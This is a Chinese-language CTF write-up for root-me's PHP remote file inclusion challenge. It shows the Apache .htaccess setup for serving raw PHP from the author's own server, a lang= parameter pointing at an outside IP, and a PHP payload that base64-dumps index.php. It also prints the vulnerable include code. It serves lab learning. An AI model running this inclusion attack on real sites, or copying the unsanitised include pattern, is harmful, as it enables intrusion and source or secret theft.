1. 程式人生 > >【root-me CTF練習】Web伺服器安全-PHP 遠端檔案包含

【root-me CTF練習】Web伺服器安全-PHP 遠端檔案包含

靶機地址

http://challenge01.root-me.org/web-serveur/ch13/

解題思路

根據題目,得知考的應該是include()函式遠端包含檔案,那麼則需要php.ini的配置選項allow_url_fopen和allow_url_include為ON。那麼要驗證,則需要自己有臺公網伺服器開啟WEB服務放入檔案供root-me遠端讀取,我公網用phpstudy搭建。

include函式這裡固定了字尾名,所以首先是要繞過這裡。
在這裡插入圖片描述
怎麼繞過?

  • 如果在本地建立遠端已存在的檔案,如fr_lang.php檔案,那麼包含後執行結果是本地PHP執行的結果。
  • 進行截斷,在嘗試了?、#、%00都統統不行,這裡思考了一會。

這裡要注意兩點,首先這裡的檔名不能截斷,故本地建立的檔案一定是遠端檔案已有的檔案,如fr_lang.php。再就是如果本地建立了fr_lang.php檔案,那麼遠端包含後執行的結果是本地執行的結果(本地執行後在輸出到遠端進行呼叫)。

那麼繞過的方法來了,使本地不能解析PHP程式碼,那麼遠端包含的就是原字元(沒有執行過的php程式碼),這樣既滿足了檔名要求,又滿足了遠端包含呼叫執行的要求。

設定.access檔案

這裡需要配置apache配置檔案,開啟.htaccess檔案解析:
開啟httpd.conf檔案用文字編輯器開啟後,查詢
Options FollowSymLinks
AllowOverride None
改為:
Options FollowSymLinks
AllowOverride All

然後在網站根目錄裡配置.htaccess檔案,使其php字尾的不能解析。

<FilesMatch ".php$">
setHandler application/x-text
</FilesMatch>

在fr_lang.php寫入php程式碼:遠端包含執行後成功,發現php版本為7,難怪%00、?之類的不能截斷。

http://challenge01.root-me.org/web-serveur/ch13/?lang=http://112.74.169.239/fr

在這裡插入圖片描述

那麼這裡寫上讀取index.php檔案的php程式碼,遠端包含執行即可:

#這裡要進行編碼,不然讀取後又成為了執行php程式碼
<?php echo base64_encode(file_get_contents('index.php')); ?>

成功讀取index.php原始碼,解碼即可:
在這裡插入圖片描述

<?php

/*

Congratz!

Le mot de passe de validation est : 
The validation password is : 

R3m0t3_iS_xxxxxxxxxxxxx

*/

$language="en";
if ( isset($_GET["lang"]) ){
    $language = $_GET["lang"];
}
include($language."_lang.php");
?>

<html>
<head><title>Remote File Inclusion</title></head>

<body>

<h3>
    <?php echo $lang['lang']; ?> : 
    <a href="?lang=fr" style="text-decoration:<?php ($language=="fr")?print "underline":print "none"; ?>">Fran莽ais</a>
    &nbsp;|&nbsp;
    <a href="?lang=en" style="text-decoration:<?php ($language=="en")?print "underline":print "none"; ?>">English</a>
</h3>

<p><?php echo $lang["welcome"]; ?></p>

</body>
</html>